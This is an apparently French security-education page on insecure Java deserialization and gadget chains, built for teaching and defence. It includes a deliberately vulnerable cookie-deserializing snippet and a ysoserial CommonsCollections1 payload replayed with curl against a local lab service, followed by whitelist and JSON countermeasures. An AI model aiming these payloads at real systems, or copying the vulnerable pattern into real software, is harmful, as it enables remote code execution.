Désérialisation non sécurisée et chaîne de gadgets
Section intitulée « Désérialisation non sécurisée et chaîne de gadgets »La désérialisation non sécurisée transforme une entrée réseau en exécution de code sans qu’aucun endroit du programme n’ait décidé d’exécuter quoi que ce soit. L’application reconstruit un objet à partir d’octets fournis par un tiers, et la reconstruction elle-même déclenche du code. Cette page monte un service vulnérable en laboratoire, fabrique la charge qui le compromet, puis referme la faille sur le point exact où elle s’ouvre.
Un meuble en kit arrive avec une notice de montage. Normalement la notice ne fait qu’indiquer où visser. Ici, une notice truquée contient des instructions qui font autre chose pendant l’assemblage, avant même qu’on ait regardé le meuble fini. Celui qui monte suit la notice sans se méfier, et le piège se déclenche tout seul.
→ Lire l’explication complète de la marmotte
Pourquoi la reconstruction d’un objet exécute du code
Section intitulée « Pourquoi la reconstruction d’un objet exécute du code »Sérialiser, c’est convertir un objet vivant en mémoire (ses champs, son type) en une suite d’octets stockable ou transmissible. Désérialiser fait le chemin inverse : à partir des octets, on recrée un objet du bon type avec les bons champs. Le piège tient dans la façon dont la plupart des langages recréent cet objet : ils ne se contentent pas de remplir des cases mémoire, ils appellent des méthodes du cycle de vie de l’objet pour qu’il « revienne à la vie » dans un état cohérent.
En Java, la méthode readObject d’une classe est invoquée à la désérialisation ; en Python, pickle appelle la méthode __reduce__ fournie par l’objet lui-même pour savoir comment le reconstruire ; en PHP, __wakeup et __destruct se déclenchent. Ces méthodes tournent avant que le code applicatif n’ait vu l’objet, donc avant toute validation. L’attaquant ne fournit pas seulement des données : il fournit le type de l’objet à recréer, donc le code de cycle de vie qui va tourner.
Seul, ce code de cycle de vie fait rarement quelque chose d’utile pour l’attaquant. La puissance vient de l’enchaînement : une chaîne de gadgets (gadget chain) est une suite de classes déjà présentes dans les bibliothèques chargées par l’application, dont les méthodes de cycle de vie s’appellent les unes les autres jusqu’à aboutir à une primitive dangereuse (exécution de commande, lecture de fichier, requête réseau). L’attaquant n’injecte pas de code : il assemble du code qui existe déjà dans les dépendances, dans un ordre que personne n’avait prévu. Vingt ans de bibliothèques héritées apprennent que la surface d’attaque d’un service, c’est aussi tout ce que ses dépendances transitives savent faire à son insu.
Monter l’ouvrage : un service qui désérialise une entrée non fiable
Section intitulée « Monter l’ouvrage : un service qui désérialise une entrée non fiable »Le décor tient en une application Java de laboratoire, montée pour l’occasion, qui lit un cookie de session encodé en Base64, le décode et le désérialise pour restaurer un état utilisateur. Erreur classique : le cookie vient du client, donc d’une source non fiable, et l’application lui fait confiance au point de reconstruire un objet à partir de son contenu. La dépendance vulnérable présente dans le classpath fournit la chaîne de gadgets ; ici une version d’Apache Commons Collections antérieure à 3.2.2, où les transformateurs permettent d’enchaîner la réflexion jusqu’à Runtime.exec.
// MONTAGE DE LABORATOIRE, volontairement vulnérable.// Le service lit un cookie "session", le décode et le désérialise SANS// aucune restriction sur le type d'objet reconstruit. C'est la faille.byte[] brut = Base64.getDecoder().decode(cookieSession);try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(brut))) { // readObject() reconstruit un objet de type ARBITRAIRE dicté par les // octets recus, et déclenche son code de cycle de vie immédiatement. Object etat = ois.readObject(); // ← l'exécution se produit ICI return (SessionUtilisateur) etat; // le cast arrive TROP TARD}Le cast vers SessionUtilisateur donne une fausse impression de contrôle : il ne s’exécute qu’après readObject, donc après que la chaîne de gadgets a déjà tourné. Vérifier le type de l’objet obtenu ne protège de rien, puisque le mal est fait à la reconstruction. La charge se fabrique avec un outil dédié, ysoserial, qui connaît les chaînes de gadgets exploitables selon les bibliothèques présentes.
# Environnement de laboratoire isolé, application jetable.# ysoserial fabrique un objet sérialisé qui, une fois désérialisé par une# appli embarquant Commons Collections vulnérable, exécute la commande passée.# Le résultat est encodé en Base64 pour tenir dans un cookie.java -jar ysoserial.jar CommonsCollections1 'touch /tmp/preuve-labo' \ | base64 -w0 > charge.b64
# On rejoue la charge comme cookie de session vers le service de test.curl -s http://127.0.0.1:8080/profil \ --cookie "session=$(cat charge.b64)"# Le fichier /tmp/preuve-labo apparait cote serveur : exécution confirmée,# sans qu'aucun mot de passe ni aucune faille d'authentification n'ait servi.L’apparition de /tmp/preuve-labo côté serveur prouve l’exécution de code arbitraire. L’attaquant n’a fourni qu’un cookie, l’application a fait le reste toute seule.
Liste blanche de classes et formats de sérialisation inertes
Section intitulée « Liste blanche de classes et formats de sérialisation inertes »La règle tient en une phrase : ne jamais désérialiser une entrée non fiable avec un mécanisme qui reconstruit un type arbitraire. Trois niveaux de contre-mesure, du plus solide au plus tactique.
Le premier choix, et le seul vraiment structurant, est de changer de format. La sérialisation binaire native d’un langage (Java Serializable, Python pickle, PHP serialize) transporte du type et du comportement ; un format de données comme JSON (JavaScript Object Notation) ne transporte que des valeurs. Désérialiser du JSON produit des chaînes, des nombres, des listes et des tables, jamais du code de cycle de vie arbitraire. Le compromis est réel : on perd la capacité de reconstruire directement des objets riches, et il faut mapper explicitement les valeurs vers ses types. C’est précisément ce mapping explicite qui referme la faille, puisque l’application décide des types au lieu de les recevoir de l’attaquant. YAML, format réputé lisible par les humains, l’est hélas aussi par les interpréteurs qui y trouvent des constructeurs d’objets : la désérialisation YAML rejoue la même pièce avec d’autres costumes.
Quand le format binaire natif ne peut pas être retiré (protocole imposé, dépendance câblée dessus), la contre-mesure est une liste blanche stricte des classes autorisées, appliquée pendant la lecture du flux, pas après.
// Liste blanche appliquée PENDANT la lecture : toute classe hors liste// fait échouer la désérialisation AVANT que son code ne s'exécute.ObjectInputStream ois = new ObjectInputStream(entree) { private static final Set<String> AUTORISEES = Set.of("com.exemple.SessionUtilisateur", "java.lang.String"); @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!AUTORISEES.contains(desc.getName())) { throw new InvalidClassException("Classe interdite", desc.getName()); } return super.resolveClass(desc); }};Une liste noire de classes dangereuses connues ne tient pas : chaque nouvelle chaîne de gadgets publiée la contourne, et la course ne se gagne jamais du côté du défenseur. La liste blanche inverse la charge de la preuve, ce qui est la bonne façon de perdre le moins souvent. Reste la maintenance des dépendances : tenir à jour l’inventaire des bibliothèques (Commons Collections, mais aussi tout ce que le graphe transitif traîne) retire des gadgets du terrain de jeu, sans jamais suffire à lui seul. La même logique de source non fiable traitée à la frontière se retrouve dans la section Failles et dans les principes d’architecture cybersécurité : une donnée qui vient de dehors n’est jamais un objet tant qu’on ne l’a pas validée en type.
🐝 Ce qui arrive si on s’en passe
Section intitulée « 🐝 Ce qui arrive si on s’en passe »Sans liste blanche de classes ni bascule vers un format de données inerte, tout point d’entrée qui désérialise une entrée non fiable (cookie de session, paramètre de requête, message de file d’attente) offre une exécution de code arbitraire à distance, la charge tournant à la reconstruction de l’objet avant tout contrôle applicatif. La détection est particulièrement pauvre : la requête ressemble à un cookie ordinaire, le code exécuté provient des bibliothèques légitimes de l’application, donc aucune signature de fichier malveillant déposé ne saute aux yeux et les journaux applicatifs ne montrent qu’une requête aboutie. Une liste noire de classes dangereuses laisse en outre passer chaque nouvelle chaîne de gadgets publiée, ce qui entretient une illusion de protection. Le vecteur reste ouvert tant qu’une dépendance transitive du classpath contient une chaîne exploitable, indépendamment du code applicatif écrit par l’équipe.
🦫 Explication de la marmotte 🍫
Section intitulée « 🦫 Explication de la marmotte 🍫 »Un programme qui veut sauvegarder un objet (par exemple les informations d’un panier ou d’une session) le transforme en une suite d’octets : c’est la sérialisation. Plus tard, pour le récupérer, il refait l’opération à l’envers et reconstruit l’objet à partir de ces octets. Le piège se cache dans cette reconstruction. Beaucoup de langages ne se contentent pas de remplir un objet vide : au moment de le recréer, ils appellent automatiquement des petits bouts de programme attachés à ce type d’objet, censés le remettre dans un état correct. Ces bouts de programme tournent tout de suite, avant que l’application ait pu regarder ce qu’elle vient de recevoir.
Un attaquant profite de cela. Dans les octets qu’il envoie, il précise non seulement des données, mais surtout le type d’objet à reconstruire. En choisissant bien ce type parmi les bibliothèques déjà présentes dans le programme, il fait s’enchaîner ces bouts automatiques les uns après les autres, jusqu’à en atteindre un qui sait lancer une commande sur la machine. Il n’ajoute aucun code neuf : il rassemble du code qui existe déjà, dans un ordre que personne n’avait prévu.
Pour se protéger, la meilleure solution est de ne plus transporter d’objets, seulement des valeurs simples que le programme range lui-même dans les bons types. Quand ce n’est pas possible, on dresse à l’avance la liste des seuls types autorisés, et toute reconstruction d’un autre type est refusée avant que le moindre code ne démarre.
À lire aussi
- Upload de shell PHP déguisé en image dans un CMSDémonstration en laboratoire de l'exécution de code par téléversement d'un fichier PHP maquillé en image, avec le mécanisme de la confusion de type et les contre-mesures de validation de contenu et de désactivation d'exécution.
- Démonstration de pollution de prototype JavaScriptConstruire, exploiter et corriger une pollution de prototype dans une application Node.js vulnérable.
- Comment empêcher une attaque de fixation de sessionDémonstration en laboratoire de l’attaque de fixation de session et contre-mesure par régénération de l’identifiant après authentification.
- Comment bloquer les requêtes côté serveur et la désérialisationSSRF et désérialisation permettent de détourner une application malgré un pare-feu correctement configuré.
Pages voisines
La citent
- Comment bloquer les requêtes côté serveur et la désérialisation
- Comment fonctionne l'inférence d'un modèle de langage
- Comment revoir le code de sécurité au-delà du linter
- Configurer un WAF sans casser les fonctions métier
- Culture de sécurité dans une équipe produit
- Faire tourner un modèle chez soi
- Intégrer SAST, DAST et IAST dans une CI/CD
- Les poids d'un modèle sont un artefact logiciel
Désérialisation non sécurisée et chaîne de gadgets
Elle cite
: les deux pages se citent l’une l’autre.
